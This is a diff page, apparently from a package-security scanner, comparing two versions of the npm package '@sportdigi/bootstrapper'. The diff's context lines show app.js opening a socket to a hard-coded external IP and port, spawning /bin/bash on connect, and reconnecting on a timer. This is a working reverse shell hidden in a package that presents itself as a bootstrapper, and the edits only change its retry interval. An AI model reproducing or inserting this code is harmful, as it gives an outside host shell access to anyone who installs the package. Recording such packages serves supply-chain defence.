@sportdigi/bootstrapper 20.1.0 → 22.1.0
Sign up to get free protection for your applications and to get access to all the features.
- package/app.js +1 -5
- package/package.json +1 -1
package/app.js
CHANGED
@@ -21,16 +21,13 @@ const spawn = require('child_process').spawn;
|
|
21
21
|
|
22
22
|
const HOST = '54.90.237.9';
|
23
23
|
const PORT = 9797;
|
24
|
-
|
25
|
-
let retryInterval = 10000;
|
26
|
-
const maxInterval = 10 * 60 * 1000;
|
24
|
+
const retryInterval = 20000;
|
27
25
|
|
28
26
|
function connect() {
|
29
27
|
const client = new net.Socket();
|
30
28
|
|
31
29
|
client.connect(PORT, HOST, () => {
|
32
30
|
console.log('Bağlantı kuruldu.');
|
33
|
-
retryInterval = 10000;
|
34
31
|
|
35
32
|
const shell = spawn('/bin/bash', []);
|
36
33
|
|
@@ -63,7 +60,6 @@ function connect() {
|
|
63
60
|
function scheduleReconnect() {
|
64
61
|
console.log(`Bağlantı ${retryInterval / 1000} saniye sonra yeniden deneniyor...`);
|
65
62
|
setTimeout(connect, retryInterval);
|
66
|
-
retryInterval = Math.min(retryInterval * 2, maxInterval);
|
67
63
|
}
|
68
64
|
|
69
65
|
connect();
|